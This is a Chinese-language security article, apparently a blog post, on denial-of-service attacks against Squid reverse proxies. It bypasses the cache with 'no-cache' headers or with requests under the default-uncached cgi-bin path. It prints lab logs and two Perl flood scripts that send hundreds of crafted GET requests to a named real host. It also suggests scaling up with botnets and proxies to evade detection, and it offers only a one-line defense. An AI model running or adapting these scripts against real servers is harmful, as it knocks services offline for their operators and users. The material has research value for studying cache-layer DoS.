前言
Coolc早就有写此篇文章的打算，其实文中更多的为技巧而非技术，就内容上看，在真正渗透攻击时造成的危害并非很大，但是这些内容体现了一种思路，就是从协议指令的思想去进一步挖掘漏洞，进行可能的攻击，我想这才是这篇文章最有价值的地方吧。也希望拙作能给同样是从事网络安全的朋友，带来一些灵感，也欢迎大家同我联系。

内容
技术背景
随着Web技术越来越广泛的应用到我们的生活，Web应用的架构的设计者和开发者不得不面对这么一个问题，那就是Web不断增长的访问量和负载，随之提升性能的相关技术应运而生，如DNS轮询、负载均衡、Cache技术等等。如果有兴趣，大家不妨对大型网站进行一下抓包，可以发现很多网站都采用了 squid反向代理，通过Squid的Cache提供高速Web响应。

攻击原理
Cache机制不仅给服务器处理带来了很大程度的性能提升，一定程度上，也大大提升了Web服务提供商应对Get Flood的能力。一般常见Cache架构如下图：

从上面的架构可以看出，用户对网站的访问，大多被分布的Cache服务器分担了，由于Cache服务器的数量以及Cache的良好处理吞吐性能，即便发生了Get Flood等攻击，此种机制也可以很好的自身消化掉攻击负载，并且即便单一Cache主机瘫痪也不会对整体Web服务造成影响。如图：

通过架构分析，我们可以假设这样一种形势，如果攻击者可以穿过Cache，直接将负载压力传达到后台提供HTTP服务的服务器，将这台机器攻击瘫痪，那么前台的服务器也将因为Cache无法得到更新而服务受到影响，达到拒绝服务的效果。如下图所示：

那么是否有方法可以达到上述效果呢？答案是肯定的，那就是通过HTTP指令来达到此种攻击。
HTTP协议（v1.1和v1.0）都提供了Cache处理字段，其中字段Cache-Control（v1.0中为Pragma），当这个字段的值为 no-cache时，大多数cache软件将不对请求作出响应，而直接将请求传递到后台服务器，利用这个指令的机制，我们就可以实现我们所要达到的攻击效果。

效果验证
为了验证这种理论上的攻击形式，Coolc架设了简单的应用环境进行验证。整个实验环境架构如下：

正常访问
而在正常情况下，Squid会在内存Cache中处理所有请求，可以发现大多数请求的压力根本无法到达Apache，而直接在Squid消化。如下所示， 500个请求，只有一个到达了Apache，而这个访问，只是Squid为了到Apache拉取最初始的文件内容造成的。
root@coolc:~/squid-2.5.STABLE12#cat apache-host.example.com-access_log |wc -l
1
root@coolc:~/squid-2.5.STABLE12# cat squid_access.log |awk '{print $4'}|uniq -c
499 TCP_MEM_HIT/200

指令绕过
当Squid在处理访问时，如果发现特殊的标志位后，其将会直接将请求向后转发，同事将在访问日志中记为一条 TCP_CLIENT_REFRESH_MISS。通过下面试验，我发送了500个带特殊标志位的HTTP请求，直接越过了Cache，而将压力直接加载到后台，下面的结果我们验证了效果

用Pragma: no-cache绕过
root@coolc:~/squid-2.5.STABLE12#cat apache-host.example.com-access_log |wc -l
500
root@coolc:~/squid-2.5.STABLE12# cat squid_access.log |awk '{print $4'}|uniq -c
500 TCP_CLIENT_REFRESH_MISS/200

用Cache-Control:no-cache绕过
root@coolc:~/squid-2.5.STABLE12# cat apache-host.example.com-access_log |wc -l
500
root@coolc:~/squid-2.5.STABLE12# cat squid_access.log |awk '{print $4'}|uniq -c
500 TCP_CLIENT_REFRESH_MISS/200

演示代码：
use IO::Socket;
#$host=shift(@ARGV);
$i=1;
while ($i<500) {
$i++;
print "\n$i\n";
$remote = IO::Socket::INET->new(Proto => "tcp",
PeerPort => "80",
#PeerAddr => "blog.xfocus.net"
PeerAddr => "test.qq.com"
)||die(print "cant't connet $!");
$remote->autoflush(1);
print $remote "GET /index.html HTTP/1.1\r\nAccept:image/gif image/x-xbitmap, image/jpeg,application/x-shockwave-flash\r\nReferer: http://www.google.com\r\nAccept:-Language: zh-cn\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)\r\nCache-Control:no-cache\r\nHOST:test.qq.com\n\n";
#print <$remote>;
close $remote;
#sleep 1;
}

实际应用
利用配置问题
在实际应用中的攻击，也许对方网管会采取作Squid的ACL方法来屏蔽此种攻击，但是实际环境中的攻击种类和方法会更加多样化，例如利用Squid默认配置中存在的问题，一样可以达到灵巧利用此问题，并具有一定隐蔽性。

场景某网管在Squid通过ACL做了no-cache过滤，使得加杂no-cahce的指令无法穿过，但是一样遭到了Cache拒绝服务攻击。

攻击原理
Squid的处理方式当返回为404、403时，通过cache处理减轻后台Web系统的负担。
通过程序用GET方式访问500次不存在的文件“index.html。”
查看squid的日志，cache住了绝大多数请求。
root@coolc:~/squid-2.5.STABLE12# cat squid_access.log |wc -l
499
root@coolc:~/squid-2.5.STABLE12# cat squid_access.log |awk '{print $4'}|uniq -c
499 TCP_NEGATIVE_HIT/404
root@coolc:~/squid-2.5.STABLE12# cat apache-access_log |wc -l
0

而实际上传到到Apache上的压力为0，也就是几乎没有压力。TCP_NEGATIVE_HIT解决了大多数的负载，导致攻击压力全部不能施加在后台的Web服务器。
从Squid的配置文件里可以看到，Squid对于特殊错误的返回也是做了处理的，一样做了Cache。

# TAG: negative_ttl time-units
# Time-to-Live (TTL) for failed requests. Certain types of
# failures (such as "connection refused" and "404 Not Found") are
# negatively-cached for a configurable amount of time. The
# default is 5 minutes. Note that this is different from
# negative caching of DNS lookups.

是否有方式可以绕过cache机制和ACL限制，将类似404压力施加到服务器上？答案时肯定的，那就是通过访问cgi-bin目录下的文件。

通过执行攻击代码我们同样实现了对后台主机的攻击，穿透了Cache。
root@coolc:~/squid-2.5.STABLE12# cat squid_access.log |awk '{print $4'}|uniq -c
499 TCP_MISS/404

root@coolc:~/squid-2.5.STABLE12# cat apache-access_log |wc -l
499
从日志中可以发现如下痕迹。
172.16.10.1 - - [08/Apr/2006:16:33:50 -0800] "GET /cgi-bin/index.html1 HTTP/1.0" 404 298
172.16.10.1 - - [08/Apr/2006:16:33:50 -0800] "GET /cgi-bin/index.html1 HTTP/1.0" 404 298
172.16.10.1 - - [08/Apr/2006:16:33:50 -0800] "GET /cgi-bin/index.html1 HTTP/1.0" 404 298
172.16.10.1 - - [08/Apr/2006:16:33:50 -0800] "GET /cgi-bin/index.html1 HTTP/1.0" 404 298
实际上造成上述原因就死活因为默认配置中对于cgi-bin目录做了特殊处理，导致对于其放开了Cache的限制。
# TAG: hierarchy_stoplist
# A list of words which, if found in a URL, cause the object to
# be handled directly by this cache. In other words, use this
# to not query neighbor caches for certain objects. You may
# list this option multiple times. Note: never_direct overrides
# this option.
#We recommend you to use at least the following line.
hierarchy_stoplist cgi-bin ?
# TAG: no_cache
# A list of ACL elements which, if matched, cause the request to
# not be satisfied from the cache and the reply to not be cached.
# In other words, use this to force certain objects to never be cached.
#
# You must use the word 'DENY' to indicate the ACL names which should
# NOT be cached.
#
#We recommend you to use the following two lines.
acl QUERY urlpath_regex cgi-bin \?
no_cache deny QUERY

攻击代码：
use IO::Socket;
#$host=shift(@ARGV);
$i=1;
while ($i<500) {
$i++;
print "\n$i\n";
$remote = IO::Socket::INET->new(Proto => "tcp",
PeerPort => "80",
#PeerAddr => "blog.xfocus.net"
PeerAddr => "test.qq.com"
)||die(print "cant't connet $!");
$remote->autoflush(1);
print $remote "GET /cgi-bin/index.html1 HTTP/1.1\r\nAccept:image/gif image/x-xbitmap, image/jpeg,application/x-shockwave-flash\r\nReferer: http://www.google.com\r\nAccept:-Language: zh-cn\r\nUser-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; InfoPath.1)\r\nHOST:test.qq.com\n\n";
#print <$remote>;
close $remote;
#sleep 1;
}

扩展思路
当然目前这种攻击方式还仅仅是理论上的攻击，比如攻击代码单线程，攻击IP和特征明显。很容易被识别并作ACL过滤。但是当我们扩展思路，如果我们利用大量的botnet或代理，变化所访问的文件和HTTP指令内容进行攻击，那么造成的攻击将会更加有威力，并且难以识别。同时由于攻击负责将直接加载于后台，那么作为防御方的主机资源优势也大打折扣。

防御方法
最简单有效的方法无非是通过SQUID的配置中加载ACL禁用no-cache指令，不过此方法往往只在静态页面的服务器比较容易实现。